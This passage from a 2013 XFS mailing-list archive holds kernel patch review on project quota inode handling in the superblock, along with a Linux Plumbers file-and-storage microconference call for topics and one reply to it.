doesn't initialize quota inodes to NULLFSINO, > > + * which leads to two values for a quota inode to be invalid: > > + * 0 and NULLFSINO. Fix it. > > + */ > > + if (sbp->sb_uquotino == 0) > > + sbp->sb_uquotino = NULLFSINO; > > + if (sbp->sb_gquotino == 0) > > + sbp->sb_gquotino = NULLFSINO; > > + if (sbp->sb_pquotino == 0) > > + sbp->sb_pquotino = NULLFSINO; > > + > > if (sbp->sb_qflags & XFS_OQUOTA_ENFD) > > sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? > > XFS_PQUOTA_ENFD : XFS_GQUOTA_ENFD; > > -- > > 1.7.1 > > > Hi, > > in this case, wouldn't be better to make mkfs initialize the quota inodes with > NULLFSINO instead of need to convert it into kernel? Hi Carlos, Yes. I will send a patch for mkfs also (to initialize it to NULLFSINO). We still need the kernel fix for the already existing filessytems. Chadnra > From sekharan@us.ibm.com Fri Jul 12 09:51:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C25567F50 for ; Fri, 12 Jul 2013 09:51:10 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id A8F8A8F8035 for ; Fri, 12 Jul 2013 07:51:10 -0700 (PDT) X-ASG-Debug-ID: 1373640669-04cb6c2a41bbc6f0001-NocioJ Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.150]) by cuda.sgi.com with ESMTP id ZP4C81qqDYWcSWzG (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 12 Jul 2013 07:51:10 -0700 (PDT) X-Barracuda-Envelope-From: sekharan@us.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.110.150 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.150] Received: from /spool/local by e32.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Fri, 12 Jul 2013 08:51:09 -0600 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.150] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.150] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.150] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.150] Received: from d03dlp02.boulder.ibm.com (9.17.202.178) by e32.co.us.ibm.com (192.168.1.132) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Fri, 12 Jul 2013 08:51:08 -0600 Received: from d03relay03.boulder.ibm.com (d03relay03.boulder.ibm.com [9.17.195.228]) by d03dlp02.boulder.ibm.com (Postfix) with ESMTP id 323D43E4005E for ; Fri, 12 Jul 2013 08:50:46 -0600 (MDT) Received: from d03av03.boulder.ibm.com (d03av03.boulder.ibm.com [9.17.195.169]) by d03relay03.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r6CEp2VP140420 for ; Fri, 12 Jul 2013 08:51:04 -0600 Received: from d03av03.boulder.ibm.com (loopback [127.0.0.1]) by d03av03.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r6CEp2eR009231 for ; Fri, 12 Jul 2013 08:51:02 -0600 Received: from [9.41.106.170] (chandra-dt.austin.ibm.com [9.41.106.170]) by d03av03.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r6CEp2fn009178; Fri, 12 Jul 2013 08:51:02 -0600 Subject: Re: [PATCH v11 2/4] xfs: Start using pquotaino from the superblock. From: Chandra Seetharaman X-ASG-Orig-Subj: Re: [PATCH v11 2/4] xfs: Start using pquotaino from the superblock. Reply-To: sekharan@us.ibm.com To: Ben Myers Cc: xfs@oss.sgi.com In-Reply-To: <20130712021734.GA32736@sgi.com> References: <1373518843-1492-1-git-send-email-sekharan@us.ibm.com> <1373518843-1492-3-git-send-email-sekharan@us.ibm.com> <20130711211610.GC20932@sgi.com> <1373591398.20769.9.camel@chandra-dt.ibm.com> <20130712021734.GA32736@sgi.com> Content-Type: text/plain; charset="UTF-8" Organization: IBM Date: Fri, 12 Jul 2013 09:51:02 -0500 Message-ID: <1373640662.20769.14.camel@chandra-dt.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.28.3 (2.28.3-30.el6) Content-Transfer-Encoding: 7bit X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13071214-5406-0000-0000-00000A6081E7 X-Barracuda-Connect: e32.co.us.ibm.com[32.97.110.150] X-Barracuda-Start-Time: 1373640669 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, 2013-07-11 at 21:17 -0500, Ben Myers wrote: > Hey Chandra, > > On Thu, Jul 11, 2013 at 08:09:58PM -0500, Chandra Seetharaman wrote: > > On Thu, 2013-07-11 at 16:16 -0500, Ben Myers wrote: > > > Hey Chandra, > > > > > > On Thu, Jul 11, 2013 at 12:00:41AM -0500, Chandra Seetharaman wrote: > > > > Start using pquotino and define a macro to check if the > > > > superblock has pquotino. > > > > > > > > Keep backward compatibilty by alowing mount of older superblock > > > > with no separate pquota inode. > > > > > > > > Signed-off-by: Chandra Seetharaman > > > > > > Here are a few notes from my review. > > > > > > > + if (sbp->sb_qflags & (XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD)) { > > > > + xfs_notice(mp, > > > > + "Version 5 of Super block has XFS_OQUOTA bits.\n"); > > > > + return XFS_ERROR(EFSCORRUPTED); > > > > + } > > > > > > If I'm reading that right... Now if you had a v5 super block with oquota > > > bits it will become unmountable. Could that happen if you were using > > > crcs and quotas with a 3.10 kernel and then upgrade? > > > > yes. My thinking is that v5 (with crc) is still experimental and not > > supported yet. Not true ? > > Right. v5 superblock is still experimental. > > > Previously this was being fixed without failing. But, Dave suggested > > that this certainly would be an inconsistent state and hence need to be > > failed. I agreed and changed the code. > > Sounds fine. I just wanted to make sure we're all aware of this possibility. > > > The problem you stated can be fixed by adding functionality to > > xfs_repair. > > Maybe a workaround for those users would be to shut of quotas before upgrading, > and then turn them back on after? That would work too. > > > > > > > > xfs_sb_version_addquota(&mp->m_sb); > > > > mp->m_sb.sb_uquotino = NULLFSINO; > > > > mp->m_sb.sb_gquotino = NULLFSINO; > > > > + mp->m_sb.sb_pquotino = NULLFSINO; > > > > > > > > - /* qflags will get updated _after_ quotacheck */ > > > > - mp->m_sb.sb_qflags = 0; > > > > + /* qflags will get updated fully _after_ quotacheck */ > > > > + mp->m_sb.sb_qflags = mp->m_qflags & XFS_ALL_QUOTA_ACCT; > > > > > > I didn't quite catch why you changed from 0 to ALL_QUOTA_ACCT here, will > > > take another look. > > > > We wanted to move all (well, almost all :) the logic of managing > > PQUOTINO/GQUOTINO in older superblock in just the two functions > > xfs_sb_quota_to/from_disk(). In order to do that I had to use sb_qflags > > (you can see that in xfs_sb_quota_to_disk()). So, we have to have > > sb_qflags valid before we try to write these fields to the disk. Hence > > this change. > > Oh, that explains it. Thanks. > > -Ben > From ricwheeler@gmail.com Fri Jul 12 12:21:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 94A667F37 for ; Fri, 12 Jul 2013 12:21:06 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 83C2F304053 for ; Fri, 12 Jul 2013 10:21:03 -0700 (PDT) X-ASG-Debug-ID: 1373649662-04cb6c2a46bd4ca0001-NocioJ Received: from mail-ie0-f182.google.com (mail-ie0-f182.google.com [209.85.223.182]) by cuda.sgi.com with ESMTP id 2ftcR0Vmg5z3BSw0 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 12 Jul 2013 10:21:02 -0700 (PDT) X-Barracuda-Envelope-From: ricwheeler@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.223.182 X-Barracuda-IPDD: Level1 [gmail.com/209.85.223.182] Received: by mail-ie0-f182.google.com with SMTP id s9so21414621iec.27 for ; Fri, 12 Jul 2013 10:21:02 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.223.182] X-Barracuda-IPDD: Level1 [gmail.com/209.85.223.182] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:subject :content-type:content-transfer-encoding; bh=hKOind1nrRt0F5eiEYnBSZpSwqKtVumq03ywmvwo5Mg=; b=T6CsfDXrKS9J8upnutfNvi8wIopabk2a3lhenjQlPxFNm6N/lRsEewPg+B+EJpVLT0 AjmZgV/tGVW2cxNUHt8jnO4Ue9lohdQ/G6Ca8EB2v5a9yBq4p7ahq/MSHDACm6T88sh7 VFfYw/DQNaE0+I0ote9QDqw2Kb7avtNVx11/LAXKdMn8PvNXSrN1OXxbBWmIvybMDchz DIFfbvHFmvaTGZsRa5U/yK7/V/c3Qicb8LWs3aVKBHcLGUVyS4k/1YEhfPGWKWZ7EKXl NXlIEOIi/pAbWlCgZ06CXN+hr9X0obhRnDp+4bjbozaQ9lsJqQ7RxpTBpHMxEucGXwUB XgLw== X-Received: by 10.50.114.229 with SMTP id jj5mr1242514igb.36.1373649661812; Fri, 12 Jul 2013 10:21:01 -0700 (PDT) Received: from tunkums.home (pool-71-184-207-60.bstnma.fios.verizon.net. [71.184.207.60]) by mx.google.com with ESMTPSA id vc13sm1166294igb.1.2013.07.12.10.21.00 for (version=TLSv1 cipher=RC4-SHA bits=128/128); Fri, 12 Jul 2013 10:21:01 -0700 (PDT) Message-ID: <51E03AFB.1000000@gmail.com> Date: Fri, 12 Jul 2013 13:20:59 -0400 From: Ric Wheeler User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: "linux-scsi@vger.kernel.org" , Linux FS Devel , "linux-nfs@vger.kernel.org" , linux-btrfs , xfs-oss , "linux-ext4@vger.kernel.org" , device-mapper development , IDE/ATA development list , anaconda-devel-list@redhat.com Subject: Linux Plumbers IO & File System Micro-conference Content-Type: text/plain; charset=ISO-8859-1; format=flowed X-ASG-Orig-Subj: Linux Plumbers IO & File System Micro-conference Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-ie0-f182.google.com[209.85.223.182] X-Barracuda-Start-Time: 1373649662 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136567 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Linux Plumbers has approved a file and storage microconference. The overview page is here: http://wiki.linuxplumbersconf.org/2013:file_and_storage_systems I would like to started gathering in ideas for topics. I have been approached already with a request to cover the copy_range work Zach Brown kicked off at LSF which I think is a great topic since it has impact throughout the stack, all the way up to applications programmers. A similar request was made to give some time to non-volatile memory devices and the proposed "persistent memory" backed block device and persistent memory file system from Intel. That also seems to fall in nicely with the plumbers mission statement since it clearly will impact everything from the application on down through the kernel. Last year, we had a good discussion on management of storage (anaconda, yast, libstoragemgt, etc) - that also might be worth giving updates on. The instructions for submitting ideas will be updated later today at: http://www.linuxplumbersconf.org/2013/submitting-topic/ If you have topics that you would like to add, wait until the instructions get posted at the link above. If you are impatient, feel free to email me directly (but probably best to drop the broad mailing lists from the reply). Thanks! Ric From faibish_sorin@emc.com Fri Jul 12 12:42:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EC1AA7F37 for ; Fri, 12 Jul 2013 12:42:50 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9764FAC003 for ; Fri, 12 Jul 2013 10:42:47 -0700 (PDT) X-ASG-Debug-ID: 1373650965-04bdf0233eeac920001-NocioJ Received: from mexforward.lss.emc.com (hop-nat-141.emc.com [168.159.213.141]) by cuda.sgi.com with ESMTP id ty3iam87Rzp6yPQh (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 12 Jul 2013 10:42:46 -0700 (PDT) X-Barracuda-Envelope-From: faibish_sorin@emc.com X-Barracuda-Apparent-Source-IP: 168.159.213.141 Received: from hop04-l1d11-si02.isus.emc.com (HOP04-L1D11-SI02.isus.emc.com [10.254.111.55]) by mexforward.lss.emc.com (Switch-3.4.3/Switch-3.4.3) with ESMTP id r6CHghSC031313 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 12 Jul 2013 13:42:44 -0400 Received: from mailhub.lss.emc.com (mailhubhoprd04.lss.emc.com [10.254.222.226]) by hop04-l1d11-si02.isus.emc.com (RSA Interceptor); Fri, 12 Jul 2013 13:42:23 -0400 Received: from mxhub18.corp.emc.com (mxhub18.corp.emc.com [10.254.93.47]) by mailhub.lss.emc.com (Switch-3.4.3/Switch-3.4.3) with ESMTP id r6CHgMpj005132; Fri, 12 Jul 2013 13:42:22 -0400 Received: from mx02a.corp.emc.com ([169.254.1.177]) by mxhub18.corp.emc.com ([10.254.93.47]) with mapi; Fri, 12 Jul 2013 13:42:22 -0400 From: "faibish, sorin" To: Ric Wheeler , "linux-scsi@vger.kernel.org" , Linux FS Devel , "linux-nfs@vger.kernel.org" , linux-btrfs , xfs-oss , "linux-ext4@vger.kernel.org" , device-mapper development , IDE/ATA development list , "anaconda-devel-list@redhat.com" Date: Fri, 12 Jul 2013 13:42:21 -0400 Subject: RE: Linux Plumbers IO & File System Micro-conference Thread-Topic: Linux Plumbers IO & File System Micro-conference X-ASG-Orig-Subj: RE: Linux Plumbers IO & File System Micro-conference Thread-Index: Ac5/JD+71LHdkQzFQIyD2EjV9eQUswAAtHFg Message-ID: References: <51E03AFB.1000000@gmail.com> In-Reply-To: <51E03AFB.1000000@gmail.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-EMM-MHVC: 1 X-Barracuda-Connect: hop-nat-141.emc.com[168.159.213.141] X-Barracuda-Start-Time: 1373650965 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136567 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... Can we have a discussion on Lustre client in the kernel? Thanks ./Sorin -----Original Message----- From: linux-fsdevel-owner@vger.kernel.org [mailto:linux-fsdevel-owner@vger.= kernel.org] On Behalf Of Ric Wheeler Sent: Friday, July 12, 2013 1:21 PM To: linux-scsi@vger.kernel.org; Linux FS Devel; linux-nfs@vger.kernel.org; = linux-btrfs; xfs-oss; linux-ext4@vger.kernel.org; device-mapper development= ; IDE/ATA development list; anaconda-devel-list@redhat.com Subject: Linux Plumbers IO & File System Micro-conference Linux Plumbers has approved a file and storage microconference. The overvie= w page is here: http://wiki.linuxplumbersconf.org/2013:file_and_storage_systems I would like to started gathering in ideas for topics. I have been approach= ed already with a request to cover the copy_range work Zach Brown kicked of= f at LSF which I think is a great topic since it has impact throughout the = stack, all the way up to applications programmers. A similar request was made to give some time to non-volatile memory devices= and the proposed "persistent memory" backed block device and persistent me= mory file system from Intel. That also seems to fall in nicely with the plu= mbers mission statement since it clearly will impact everything from the ap= plication on down through the kernel. Last year, we had a good discussion on management of storage (anaconda, yas= t, libstoragemgt, etc) - that also might be worth giving updates on. The instructions for submitting ideas will be updated later today at: http://www.linuxplumbersconf.org/2013/submitting-topic/ If you have topics that you would like to add, wait until the instructions = get posted at the link above. If you are impatient, feel free to email me d= irectly (but probably best to drop the broad mailing lists from the reply). Thanks! Ric -- To unsubscribe from this list: send the line "unsubscribe linux-fsdevel" in= the body of a message to majordomo@vger.kernel.org More majordomo info at = http://vger.kernel.org/majordomo-info.html From bpm@sgi.com Fri Jul 12 13:30:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E8D5A7F37 for ; Fri, 12 Jul 2013 13:30:34 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7A2A4304059; Fri, 12 Jul 2013 11:30:31 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id ECDE5500B50; Fri, 12 Jul 2013 13:30:30 -0500 (CDT) Date: Fri, 12 Jul 2013 13:30:30 -0500 From: Ben Myers To: Chandra Seetharaman Cc: XFS mailing list , Steven Whitehouse , adas@redhat.com, Dave Chinner , Jan Kara Subject: Re: [PATCH] xfs: Start using pquotaino from the superblock. Message-ID: <20130712183030.GE20932@sgi.com> References: <1373593707.20769.11.camel@chandra-dt.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1373593707.20769.11.camel@chandra-dt.ibm.com> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Chandra, On Thu, Jul 11, 2013 at 08:48:27PM -0500, Chandra Seetharaman wrote: > Changes from version v11: > - Moved code as suggested by Dave > - Replaced the parameter to xfs_sb_quota_from_disk from > xfs_mount to xfs_sb as suggester by Dave. > This lead to additional changes to xfs_qm_qino_alloc() to > handle the reuse of pquotino/gquotino if it was switched by > user between mounts. > - Addressed all of Ben's concerns > - removed the changes need for fs_quota_stat changes as that > change is being delayed. > ---------------------- > > Start using pquotino and define a macro to check if the > superblock has pquotino. > > Keep backward compatibilty by alowing mount of older superblock > with no separate pquota inode. > Cc: Jan Kara > Signed-off-by: Chandra Seetharaman Comments below. > --- > fs/xfs/xfs_mount.c | 59 ++++++++++++++++++++++++++++++++----- > fs/xfs/xfs_qm.c | 72 ++++++++++++++++++++++++++++++++++----------- > fs/xfs/xfs_qm_syscalls.c | 30 ++++++++++++++++++- > fs/xfs/xfs_sb.h | 13 ++++++-- > fs/xfs/xfs_super.c | 19 ++++++------ > 5 files changed, 154 insertions(+), 39 deletions(-) > > diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c > index 8b95933..e177511 100644 > --- a/fs/xfs/xfs_mount.c > +++ b/fs/xfs/xfs_mount.c > @@ -336,14 +336,6 @@ xfs_mount_validate_sb( > return XFS_ERROR(EWRONGFS); > } > > - if ((sbp->sb_qflags & (XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD)) && > - (sbp->sb_qflags & (XFS_PQUOTA_ENFD | XFS_GQUOTA_ENFD | > - XFS_PQUOTA_CHKD | XFS_GQUOTA_CHKD))) { > - xfs_notice(mp, > -"Super block has XFS_OQUOTA bits along with XFS_PQUOTA and/or XFS_GQUOTA bits.\n"); > - return XFS_ERROR(EFSCORRUPTED); > - } > - > /* > * Version 5 superblock feature mask validation. Reject combinations the > * kernel cannot support up front before checking anything else. For > @@ -387,6 +379,19 @@ xfs_mount_validate_sb( > } > } > > + if (xfs_sb_version_has_pquotino(sbp)) { > + if (sbp->sb_qflags & (XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD)) { > + xfs_notice(mp, > + "Version 5 of Super block has XFS_OQUOTA bits.\n"); > + return XFS_ERROR(EFSCORRUPTED); > + } > + } else if (sbp->sb_qflags & (XFS_PQUOTA_ENFD | XFS_GQUOTA_ENFD | > + XFS_PQUOTA_CHKD | XFS_GQUOTA_CHKD)) { > + xfs_notice(mp, > +"Superblock earlier than Version 5 has XFS_[PQ]UOTA_{ENFD|CHKD} bits.\n"); > + return XFS_ERROR(EFSCORRUPTED); > + } > + > if (unlikely( > sbp->sb_logstart == 0 && mp->m_logdev_targp == mp->m_ddev_targp)) { > xfs_warn(mp, > @@ -584,6 +589,9 @@ xfs_sb_quota_from_disk(struct xfs_sb *sbp) > if (sbp->sb_pquotino == 0) > sbp->sb_pquotino = NULLFSINO; > > + if (xfs_sb_version_has_pquotino(sbp)) > + return; > + > if (sbp->sb_qflags & XFS_OQUOTA_ENFD) > sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? > XFS_PQUOTA_ENFD : XFS_GQUOTA_ENFD; > @@ -591,6 +599,19 @@ xfs_sb_quota_from_disk(struct xfs_sb *sbp) > sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? > XFS_PQUOTA_CHKD : XFS_GQUOTA_CHKD; > sbp->sb_qflags &= ~(XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD); > + > + if ((sbp->sb_qflags & XFS_PQUOTA_ACCT) && > + (sbp->sb_gquotino != NULLFSINO)) { If project quota accounting bit is set in the super block and the group quot ino is not nullfsino.. That's weird. I would have expected to be able to assume that sb_gquotino is not NULLFSINO if project quota accounting is on. Why was the check necessary? > + /* > + * On disk superblock only has sb_gquotino, and incore > + * superblock has both sb_gquotino and sb_pquotino. > + * But, only one of them is supported at any point of time. > + * So, if PQUOTA is set in disk superblock, copy over > + * sb_gquotino to sb_pquotino. > + */ > + sbp->sb_pquotino = sbp->sb_gquotino; > + sbp->sb_gquotino = NULLFSINO; > + } > } > > void > @@ -662,6 +683,13 @@ xfs_sb_quota_to_disk( > { > __uint16_t qflags = from->sb_qflags; > > + /* > + * We need to do these manipilations only if we are working > + * with an older version of on-disk superblock. > + */ > + if (xfs_sb_version_has_pquotino(from)) > + return; > + > if (*fields & XFS_SB_QFLAGS) { > /* > * The in-core version of sb_qflags do not have > @@ -681,6 +709,21 @@ xfs_sb_quota_to_disk( > to->sb_qflags = cpu_to_be16(qflags); > *fields &= ~XFS_SB_QFLAGS; > } > + > + /* > + * GQUOTINO and PQUOTINO cannot be used together in versions > + * of superblock that do not have pquotino. from->sb_flags > + * tells us which quota is active and should be copied to > + * disk. > + */ > + if ((*fields & XFS_SB_GQUOTINO) && > + (from->sb_qflags & XFS_GQUOTA_ACCT)) > + to->sb_gquotino = cpu_to_be64(from->sb_gquotino); > + else if ((*fields & XFS_SB_PQUOTINO) && > + (from->sb_qflags & XFS_PQUOTA_ACCT)) > + to->sb_gquotino = cpu_to_be64(from->sb_pquotino); > + > + *fields &= ~(XFS_SB_PQUOTINO | XFS_SB_GQUOTINO); > } > > /* > diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c > index d320794..1e2361d 100644 > --- a/fs/xfs/xfs_qm.c > +++ b/fs/xfs/xfs_qm.c > @@ -834,6 +834,36 @@ xfs_qm_qino_alloc( > int error; > int committed; > > + *ip = NULL; > + /* > + * With superblock that doesn't have separate pquotino, we > + * share an inode between gquota and pquota. If the on-disk > + * superblock has GQUOTA and the filesystem is now mounted > + * with PQUOTA, just use sb_gquotino for sb_pquotino and > + * vice-versa. > + */ > + if (!xfs_sb_version_has_pquotino(&mp->m_sb) && > + (flags & (XFS_QMOPT_PQUOTA|XFS_QMOPT_GQUOTA))) { > + xfs_ino_t ino = NULLFSINO; > + > + if ((flags & XFS_QMOPT_PQUOTA) && > + (mp->m_sb.sb_gquotino != NULLFSINO)) { > + ino = mp->m_sb.sb_gquotino; > + ASSERT(mp->m_sb.sb_pquotino == NULLFSINO); > + } else if ((flags & XFS_QMOPT_GQUOTA) && > + (mp->m_sb.sb_pquotino != NULLFSINO)) { > + ino = mp->m_sb.sb_pquotino; > + ASSERT(mp->m_sb.sb_gquotino == NULLFSINO); > + } > + if (ino != NULLFSINO) { > + error = xfs_iget(mp, NULL, ino, 0, 0, ip); > + if (error) > + return error; > + mp->m_sb.sb_gquotino = NULLFSINO; > + mp->m_sb.sb_pquotino = NULLFSINO; > + } > + } Looks like this is a new addition. I'm not completely clear on why you needed to add it. Maybe if the user had switched from using project quotas to group quotas there would be an old inode left out there from the project quotas? Is that why you added this? If so, wouldn't you want to truncate the old contents away before using it? > + > tp = xfs_trans_alloc(mp, XFS_TRANS_QM_QINOCREATE); > if ((error = xfs_trans_reserve(tp, > XFS_QM_QINOCREATE_SPACE_RES(mp), > @@ -844,11 +874,14 @@ xfs_qm_qino_alloc( > return error; > } > > - error = xfs_dir_ialloc(&tp, NULL, S_IFREG, 1, 0, 0, 1, ip, &committed); > - if (error) { > - xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | > - XFS_TRANS_ABORT); > - return error; > + if (!*ip) { > + error = xfs_dir_ialloc(&tp, NULL, S_IFREG, 1, 0, 0, 1, ip, > + &committed); > + if (error) { > + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | > + XFS_TRANS_ABORT); > + return error; > + } > } > > /* > @@ -860,21 +893,25 @@ xfs_qm_qino_alloc( > if (flags & XFS_QMOPT_SBVERSION) { > ASSERT(!xfs_sb_version_hasquota(&mp->m_sb)); > ASSERT((sbfields & (XFS_SB_VERSIONNUM | XFS_SB_UQUOTINO | > - XFS_SB_GQUOTINO | XFS_SB_QFLAGS)) == > - (XFS_SB_VERSIONNUM | XFS_SB_UQUOTINO | > - XFS_SB_GQUOTINO | XFS_SB_QFLAGS)); > + XFS_SB_GQUOTINO | XFS_SB_PQUOTINO | XFS_SB_QFLAGS)) == > + (XFS_SB_VERSIONNUM | XFS_SB_UQUOTINO | > + XFS_SB_GQUOTINO | XFS_SB_PQUOTINO | > + XFS_SB_QFLAGS)); > > xfs_sb_version_addquota(&mp->m_sb); > mp->m_sb.sb_uquotino = NULLFSINO; > mp->m_sb.sb_gquotino = NULLFSINO; > + mp->m_sb.sb_pquotino = NULLFSINO; > > - /* qflags will get updated _after_ quotacheck */ > - mp->m_sb.sb_qflags = 0; > + /* qflags will get updated fully _after_ quotacheck */ > + mp->m_sb.sb_qflags = mp->m_qflags & XFS_ALL_QUOTA_ACCT; > } > if (flags & XFS_QMOPT_UQUOTA) > mp->m_sb.sb_uquotino = (*ip)->i_ino; > - else > + else if (flags & XFS_QMOPT_GQUOTA) > mp->m_sb.sb_gquotino = (*ip)->i_ino; > + else > + mp->m_sb.sb_pquotino = (*ip)->i_ino; > spin_unlock(&mp->m_sb_lock); > xfs_mod_sb(tp, sbfields); > > @@ -1484,11 +1521,10 @@ xfs_qm_init_quotainos( > if (error) > goto error_rele; > } > - /* XXX: Use gquotino for now */ > if (XFS_IS_PQUOTA_ON(mp) && > - mp->m_sb.sb_gquotino != NULLFSINO) { > - ASSERT(mp->m_sb.sb_gquotino > 0); > - error = xfs_iget(mp, NULL, mp->m_sb.sb_gquotino, > + mp->m_sb.sb_pquotino != NULLFSINO) { > + ASSERT(mp->m_sb.sb_pquotino > 0); > + error = xfs_iget(mp, NULL, mp->m_sb.sb_pquotino, > 0, 0, &pip); > if (error) > goto error_rele; > @@ -1496,7 +1532,8 @@ xfs_qm_init_quotainos( > } else { > flags |= XFS_QMOPT_SBVERSION; > sbflags |= (XFS_SB_VERSIONNUM | XFS_SB_UQUOTINO | > - XFS_SB_GQUOTINO | XFS_SB_QFLAGS); > + XFS_SB_GQUOTINO | XFS_SB_PQUOTINO | > + XFS_SB_QFLAGS); > } > > /* > @@ -1524,9 +1561,8 @@ xfs_qm_init_quotainos( > flags &= ~XFS_QMOPT_SBVERSION; > } > if (XFS_IS_PQUOTA_ON(mp) && pip == NULL) { > - /* XXX: Use XFS_SB_GQUOTINO for now */ > error = xfs_qm_qino_alloc(mp, &pip, > - sbflags | XFS_SB_GQUOTINO, > + sbflags | XFS_SB_PQUOTINO, > flags | 